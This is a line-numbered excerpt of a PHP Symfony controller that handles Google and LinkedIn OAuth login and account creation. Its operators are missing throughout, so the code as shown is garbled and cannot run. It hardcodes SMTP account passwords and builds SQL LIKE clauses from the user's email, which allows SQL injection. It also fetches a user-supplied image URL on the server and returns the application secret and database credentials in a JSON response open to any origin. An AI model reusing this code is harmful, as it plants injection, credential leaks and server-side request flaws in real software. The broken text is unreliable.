  6650.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6651.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6652.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6653.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6654.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6655.                     'type' => 1,
  6656.                     'token' => $token,
  6657.                 ];
  6658.             }
  6659.         } else if (isset($_GET["code"])) {
  6660.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6661.             if (!isset($token['error'])) {
  6662.                 $google_client->setAccessToken($token['access_token']);
  6663.                 $google_service = new Google_Service_Oauth2($google_client);
  6664.                 $applicantInfo $google_service->userinfo->get();
  6665.                 $oAuthEmail $applicantInfo['email'];
  6666.                 $oAuthData = [
  6667.                     'email' => $applicantInfo['email'],
  6668.                     'uniqueId' => $applicantInfo['id'],
  6669.                     'image' => $applicantInfo['picture'],
  6670.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6671.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6672.                     'firstName' => $applicantInfo['givenName'],
  6673.                     'lastName' => $applicantInfo['familyName'],
  6674.                     'type' => $token['token_type'],
  6675.                     'token' => $token['access_token'],
  6676.                 ];
  6677.             }
  6678.         } else if (isset($_GET["access_token"])) {
  6679.             $token $_GET["access_token"];
  6680.             $tokenType $_GET["token_type"];
  6681.             if (!isset($token['error'])) {
  6682.                 $google_client->setAccessToken($token);
  6683.                 $google_service = new Google_Service_Oauth2($google_client);
  6684.                 $applicantInfo $google_service->userinfo->get();
  6685.                 $oAuthEmail $applicantInfo['email'];
  6686.                 $oAuthData = [
  6687.                     'email' => $applicantInfo['email'],
  6688.                     'uniqueId' => $applicantInfo['id'],
  6689.                     'image' => $applicantInfo['picture'],
  6690.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6691.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6692.                     'firstName' => $applicantInfo['givenName'],
  6693.                     'lastName' => $applicantInfo['familyName'],
  6694.                     'type' => $tokenType,
  6695.                     'token' => $token,
  6696.                 ];
  6697.             }
  6698.         }
  6699.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6700.             $isApplicantExist $applicantRepo->findOneBy([
  6701.                 'email' => $oAuthData['email']
  6702.             ]);
  6703.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6704.                 $isApplicantExist $applicantRepo->findOneBy([
  6705.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6706.                 ]);
  6707.             }
  6708.             if (!$isApplicantExist) {
  6709.                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  6710.                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  6711.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  6712.                     ->getQuery()
  6713.                     ->getResult();
  6714.                 if (!empty($usersQueried))
  6715.                     $isApplicantExist $usersQueried[0];
  6716.             }
  6717.             if ($isApplicantExist) {
  6718.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6719.                 } else
  6720.                     return $this->redirectToRoute("core_login", [
  6721.                         'id' => $isApplicantExist->getApplicantId(),
  6722.                         'oAuthData' => $oAuthData,
  6723.                         'encData' => $encData,
  6724.                         'locale' => $request->request->get('locale''en'),
  6725.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6726.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6727.                     ]);
  6728.             } else {
  6729.                 $fname $oAuthData['firstName'];
  6730.                 $lname $oAuthData['lastName'];
  6731.                 $img $oAuthData['image'];
  6732.                 $email $oAuthData['email'];
  6733.                 $oAuthEmail $oAuthData['email'];
  6734.                 $userName explode('@'$email)[0];
  6735.                 //now check if same username exists
  6736.                 $username_already_exist 1;
  6737.                 $initial_user_name $userName;
  6738.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6739.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6740.                     $isUsernameExist $applicantRepo->findOneBy([
  6741.                         'username' => $userName
  6742.                     ]);
  6743.                     if ($isUsernameExist) {
  6744.                         $username_already_exist 1;
  6745.                         $userName $initial_user_name '' rand(3009987);
  6746.                     } else {
  6747.                         $username_already_exist 0;
  6748.                     }
  6749.                     $timeoutSafeCount--;
  6750.                 }
  6751.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6752.                     $currentUnixTimeStamp '';
  6753.                     $currentUnixTime = new \DateTime();
  6754.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6755.                     $userName $userName '' $currentUnixTimeStamp;
  6756.                 }
  6757.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6758.                 $charactersLength strlen($characters);
  6759.                 $length 8;
  6760.                 $password 0;
  6761.                 for ($i 0$i $length$i++) {
  6762.                     $password .= $characters[rand(0$charactersLength 1)];
  6763.                 }
  6764.                 $newApplicant = new EntityApplicantDetails();
  6765.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6766.                 $newApplicant->setEmail($email);
  6767.                 $newApplicant->setUserName($userName);
  6768.                 $newApplicant->setFirstname($fname);
  6769.                 $newApplicant->setLastname($lname);
  6770.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6771.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6772.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6773.                 $newApplicant->setAccountStatus(1);
  6774.                 $salt uniqid(mt_rand());
  6775.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6776.                 $newApplicant->setPassword($encodedPassword);
  6777.                 $newApplicant->setSalt($salt);
  6778.                 $newApplicant->setTempPassword($password);;
  6779. //                $newApplicant->setPassword($password);
  6780.                 $marker $userName '-' time();
  6781. //                $extension_here=$uploadedFile->guessExtension();
  6782. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6783. //                $path = $fileName;
  6784.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6785.                 if (!file_exists($upl_dir)) {
  6786.                     mkdir($upl_dir0777true);
  6787.                 }
  6788.                 $ch curl_init($img);
  6789.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6790.                 curl_setopt($chCURLOPT_FILE$fp);
  6791.                 curl_setopt($chCURLOPT_HEADER0);
  6792.                 curl_exec($ch);
  6793.                 curl_close($ch);
  6794.                 fclose($fp);
  6795.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6796. //                $newApplicant->setImage($img);
  6797.                 $newApplicant->setIsConsultant(0);
  6798.                 $newApplicant->setIsTemporaryEntry(0);
  6799.                 $newApplicant->setApplyForConsultant(0);
  6800.                 $em->persist($newApplicant);
  6801.                 $em->flush();
  6802.                 $isApplicantExist $newApplicant;
  6803.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6804.                     if ($systemType == '_BUDDYBEE_') {
  6805.                         $bodyHtml '';
  6806.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6807.                         $bodyData = array(
  6808.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6809.                             'email' => $userName,
  6810.                             'password' => $newApplicant->getPassword(),
  6811.                         );
  6812.                         $attachments = [];
  6813.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6814. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6815.                         $new_mail $this->get('mail_module');
  6816.                         $new_mail->sendMyMail(array(
  6817.                             'senderHash' => '_CUSTOM_',
  6818.                             //                        'senderHash'=>'_CUSTOM_',
  6819.                             'forwardToMailAddress' => $forwardToMailAddress,
  6820.                             'subject' => 'Welcome to BuddyBee ',
  6821. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6822.                             'attachments' => $attachments,
  6823.                             'toAddress' => $forwardToMailAddress,
  6824.                             'fromAddress' => 'registration@buddybee.eu',
  6825.                             'userName' => 'registration@buddybee.eu',
  6826.                             'password' => 'Y41dh8g0112',
  6827.                             'smtpServer' => 'smtp.hostinger.com',
  6828.                             'smtpPort' => 465,
  6829.                             'encryptionMethod' => 'ssl',
  6830. //                            'emailBody' => $bodyHtml,
  6831.                             'mailTemplate' => $bodyTemplate,
  6832.                             'templateData' => $bodyData,
  6833. //                        'embedCompanyImage' => 1,
  6834. //                        'companyId' => $companyId,
  6835. //                        'companyImagePath' => $company_data->getImage()
  6836.                         ));
  6837.                     } else {
  6838.                         $bodyHtml '';
  6839.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6840.                         $bodyData = array(
  6841.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6842.                             'email' => 'APP-' $userName,
  6843.                             'password' => $newApplicant->getPassword(),
  6844.                         );
  6845.                         $attachments = [];
  6846.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6847. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6848.                         $new_mail $this->get('mail_module');
  6849.                         $new_mail->sendMyMail(array(
  6850.                             'senderHash' => '_CUSTOM_',
  6851.                             //                        'senderHash'=>'_CUSTOM_',
  6852.                             'forwardToMailAddress' => $forwardToMailAddress,
  6853.                             'subject' => 'Applicant Registration on Honeybee',
  6854. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6855.                             'attachments' => $attachments,
  6856.                             'toAddress' => $forwardToMailAddress,
  6857.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6858.                             'userName' => 'accounts@ourhoneybee.eu',
  6859.                             'password' => 'Honeybee@0112',
  6860.                             'smtpServer' => 'smtp.hostinger.com',
  6861.                             'smtpPort' => 465,
  6862.                             'encryptionMethod' => 'ssl',
  6863. //                            'emailBody' => $bodyHtml,
  6864.                             'mailTemplate' => $bodyTemplate,
  6865.                             'templateData' => $bodyData,
  6866. //                        'embedCompanyImage' => 1,
  6867. //                        'companyId' => $companyId,
  6868. //                        'companyImagePath' => $company_data->getImage()
  6869.                         ));
  6870.                     }
  6871.                 }
  6872.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6873.                 } else {
  6874.                     return $this->redirectToRoute("core_login", [
  6875.                         'id' => $newApplicant->getApplicantId(),
  6876.                         'oAuthData' => $oAuthData,
  6877.                         'encData' => $encData,
  6878.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6879.                         'locale' => $request->request->get('locale''en'),
  6880.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6881.                     ]);
  6882.                 }
  6883.             }
  6884.         }
  6885.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6886.             if ($isApplicantExist) {
  6887.                 $user $isApplicantExist;
  6888.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6889.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  6890.                 $globalId $user->getApplicantId();
  6891.                 $gocList $em
  6892.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  6893.                     ->findBy(
  6894.                         array(//                        'active' => 1
  6895.                         )
  6896.                     );
  6897.                 $gocDataList = [];
  6898.                 $gocDataListForLoginWeb = [];
  6899.                 $gocDataListByAppId = [];
  6900.                 foreach ($gocList as $entry) {
  6901.                     $d = array(
  6902.                         'name' => $entry->getName(),
  6903.                         'image' => $entry->getImage(),
  6904.                         'id' => $entry->getId(),
  6905.                         'appId' => $entry->getAppId(),
  6906.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  6907.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  6908.                         'dbName' => $entry->getDbName(),
  6909.                         'dbUser' => $entry->getDbUser(),
  6910.                         'dbPass' => $entry->getDbPass(),
  6911.                         'dbHost' => $entry->getDbHost(),
  6912.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  6913.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  6914.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  6915.                         'companyRemaining' => $entry->getCompanyRemaining(),
  6916.                         'companyAllowed' => $entry->getCompanyAllowed(),
  6917.                     );
  6918.                     $gocDataList[$entry->getId()] = $d;
  6919.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  6920.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  6921.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  6922.                 }
  6923.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  6924.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6925.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6926.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6927.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6928.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6929.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6930.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6931.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6932.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6933.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6934.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6935.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6936.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6937.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6938.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6939.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6940.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6941.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6942.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6943.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6944.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6945.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6946.                     $session->set('userCompanyVibrantList'json_encode([]));
  6947.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6948.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6949.                     $session->set(UserConstants::USER_APP_ID0);
  6950.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6951.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6952.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6953.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6954.                     $session->set(UserConstants::USER_GOC_ID0);
  6955.                     $session->set(UserConstants::USER_DB_NAME'');
  6956.                     $session->set(UserConstants::USER_DB_USER'');
  6957.                     $session->set(UserConstants::USER_DB_PASS'');
  6958.                     $session->set(UserConstants::USER_DB_HOST'');
  6959.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6960.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6961.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6962.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6963.                     $session->set('locale'$request->request->get('locale'''));
  6964.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6965.                     $route_list_array = [];
  6966.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6967.                     $loginID 0;
  6968.                     $loginID MiscActions::addEntityUserLoginLog(
  6969.                         $em,
  6970.                         $session->get(UserConstants::USER_ID),
  6971.                         $session->get(UserConstants::USER_ID),
  6972.                         1,
  6973.                         $request->server->get("REMOTE_ADDR"),
  6974.                         0,
  6975.                         $request->request->get('deviceId'''),
  6976.                         $request->request->get('oAuthToken'''),
  6977.                         $request->request->get('oAuthType'''),
  6978.                         $request->request->get('locale'''),
  6979.                         $request->request->get('firebaseToken''')
  6980.                     );
  6981.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6982.                     $session_data = array(
  6983.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6984.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6985.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6986.                         'oAuthToken' => $session->get('oAuthToken'),
  6987.                         'locale' => $session->get('locale'),
  6988.                         'firebaseToken' => $session->get('firebaseToken'),
  6989.                         'token' => $session->get('token'),
  6990.                         'firstLogin' => 0,
  6991.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6992.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6993.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6994.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6995.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6996.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6997.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6998.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6999.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7000.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7001.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7002.                         'oAuthImage' => $session->get('oAuthImage'),
  7003.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7004.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7005.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7006.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7007.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7008.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7009.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7010.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7011.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7012.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7013.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7014.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7015.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7016.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7017.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7018.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7019.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7020.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7021.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7022.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7023.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7024.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7025.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7026.                         //new
  7027.                         'appIdList' => $session->get('appIdList'),
  7028.                         'branchIdList' => $session->get('branchIdList'null),
  7029.                         'branchId' => $session->get('branchId'null),
  7030.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7031.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7032.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7033.                     );
  7034.                     $accessList = [];
  7035. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7036.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7037.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7038.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7039.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7040.                                 $d = array(
  7041.                                     'userType' => $thisUserUserType,
  7042. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7043.                                     'userTypeName' => $userTypeName,
  7044.                                     'globalId' => $globalId,
  7045.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7046.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7047.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7048.                                     'systemType' => '_ERP_',
  7049.                                     'companyId' => 1,
  7050.                                     'appId' => $thisUserAppId,
  7051.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7052.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7053.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7054.                                             array(
  7055.                                                 'globalId' => $globalId,
  7056.                                                 'appId' => $thisUserAppId,
  7057.                                                 'authenticate' => 1,
  7058.                                                 'userType' => $thisUserUserType,
  7059.                                                 'userTypeName' => $userTypeName
  7060.                                             )
  7061.                                         )
  7062.                                     ),
  7063.                                     'userCompanyList' => [
  7064.                                     ]
  7065.                                 );
  7066.                                 $accessList[] = $d;
  7067.                             }
  7068.                         }
  7069.                     }
  7070.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7071.                     $session_data['userAccessList'] = $accessList;
  7072.                     $session->set('userAccessList'json_encode($accessList));
  7073.                     $session_data $this->filterClientSessionData($session_data);
  7074.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7075.                     $session_data $tokenData['sessionData'];
  7076.                     $token $tokenData['token'];
  7077.                     $session->set('token'$token);
  7078.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7079.                         $session->set('remoteVerified'1);
  7080.                         $response = new JsonResponse(array(
  7081.                             'token' => $token,
  7082.                             'uid' => $session->get(UserConstants::USER_ID),
  7083.                             'session' => $session,
  7084.                             'success' => true,
  7085.                             'session_data' => $session_data,
  7086.                         ));
  7087.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7088.                         return $response;
  7089.                     }
  7090.                     if ($request->request->has('referer_path')) {
  7091.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7092.                             return $this->redirect($request->request->get('referer_path'));
  7093.                         }
  7094.                     }
  7095.                     $redirectRoute 'applicant_dashboard';
  7096.                     if ($request->query->has('encData')) {
  7097.                         if ($request->query->get('encData') == '8917922')
  7098.                             $redirectRoute 'apply_for_consultant';
  7099.                     }
  7100.                     return $this->redirectToRoute($redirectRoute);
  7101.                 }
  7102. //                    $response = new JsonResponse(array(
  7103. //                        'token' => $token,
  7104. //                        'uid' => $session->get(UserConstants::USER_ID),
  7105. //                        'session' => $session,
  7106. //
  7107. //                        'success' => true,
  7108. //                        'session_data' => $session_data,
  7109. //
  7110. //                    ));
  7111. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7112. //                    return $response;
  7113. //                    return $this->redirectToRoute("user_login", [
  7114. //                        'id' => $isApplicantExist->getApplicantId(),
  7115. //                        'oAuthData' => $oAuthData,
  7116. //                        'encData' => $encData,
  7117. //                        'locale' => $request->request->get('locale', 'en'),
  7118. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7119. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7120. //                    ]);
  7121.             }
  7122.         }
  7123.         $selector BuddybeeConstant::$selector;
  7124.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7125.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7126.         if ($systemType == '_ERP_') {
  7127.         } else if ($systemType == '_CENTRAL_') {
  7128.             return $this->render(
  7129.                 '@Authentication/pages/views/central_login.html.twig',
  7130.                 [
  7131.                     'page_title' => 'Central Login',
  7132.                     'oAuthLink' => $google_client->createAuthUrl(),
  7133.                     'redirect_url' => $url,
  7134.                     'message' => $message,
  7135.                     'systemType' => $systemType,
  7136.                     'ownServerId' => $ownServerId,
  7137.                     'errorField' => '',
  7138.                     'encData' => $encData,
  7139.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7140.                     'selector' => $selector,
  7141.                 ]
  7142.             );
  7143.         } else if ($systemType == '_BUDDYBEE_') {
  7144.             return $this->render(
  7145.                 '@Authentication/pages/views/applicant_login.html.twig',
  7146.                 [
  7147.                     'page_title' => 'BuddyBee Login',
  7148.                     'oAuthLink' => $google_client->createAuthUrl(),
  7149.                     'redirect_url' => $url,
  7150.                     'message' => $message,
  7151.                     'errorField' => $errorField,
  7152.                     'encData' => $encData,
  7153.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7154.                     'selector' => $selector
  7155.                 ]
  7156.             );
  7157.         }
  7158.         return $this->render(
  7159.             '@Authentication/pages/views/applicant_login.html.twig',
  7160.             [
  7161.                 'page_title' => 'Applicant Registration',
  7162.                 'oAuthLink' => $google_client->createAuthUrl(),
  7163.                 'redirect_url' => $url,
  7164.                 'encData' => $encData,
  7165.                 'message' => $message,
  7166.                 'errorField' => $errorField,
  7167.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7168.                 'selector' => $selector
  7169.             ]
  7170.         );
  7171.     }
  7172.     public function sophiaLoginAction(Request $request$encData ''$remoteVerify 0)
  7173.     {
  7174.         $session $request->getSession();
  7175.         $email $request->getSession()->get('userEmail');
  7176.         $sessionUserId $request->getSession()->get('userId');
  7177.         $oAuthData = [];
  7178. //    $encData='';
  7179.         $em $this->getDoctrine()->getManager('company_group');
  7180.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  7181.         $redirectRoute 'dashboard';
  7182.         if ($encData != '') {
  7183.             if ($encData == '8917922')
  7184.                 $redirectRoute 'apply_for_consultant';
  7185.         }
  7186.         if ($request->query->has('encData')) {
  7187.             $encData $request->query->get('encData');
  7188.             if ($encData == '8917922')
  7189.                 $redirectRoute 'apply_for_consultant';
  7190.         }
  7191.         $message '';
  7192.         $errorField '_NONE_';
  7193.         if ($request->query->has('message')) {
  7194.             $message $request->query->get('message');
  7195.         }
  7196.         if ($request->query->has('errorField')) {
  7197.             $errorField $request->query->get('errorField');
  7198.         }
  7199.         if ($request->request->has('oAuthData')) {
  7200.             $oAuthData $request->request->get('oAuthData', []);
  7201.         } else {
  7202.             $oAuthData = [
  7203.                 'email' => $request->request->get('email'''),
  7204.                 'uniqueId' => $request->request->get('uniqueId'''),
  7205.                 'oAuthHash' => '_NONE_',
  7206.                 'image' => $request->request->get('image'''),
  7207.                 'emailVerified' => $request->request->get('emailVerified'''),
  7208.                 'name' => $request->request->get('name'''),
  7209.                 'firstName' => $request->request->get('firstName'''),
  7210.                 'lastName' => $request->request->get('lastName'''),
  7211.                 'type' => 1,
  7212.                 'token' => $request->request->get('oAuthtoken'''),
  7213.             ];
  7214.         }
  7215.         $isApplicantExist null;
  7216.         if ($email) {
  7217.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7218.                 $isApplicantExist $applicantRepo->findOneBy([
  7219.                     'applicantId' => $sessionUserId
  7220.                 ]);
  7221.             } else
  7222.                 return $this->redirectToRoute($redirectRoute);
  7223.         }
  7224.         $google_client = new Google_Client();
  7225. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  7226. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  7227.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
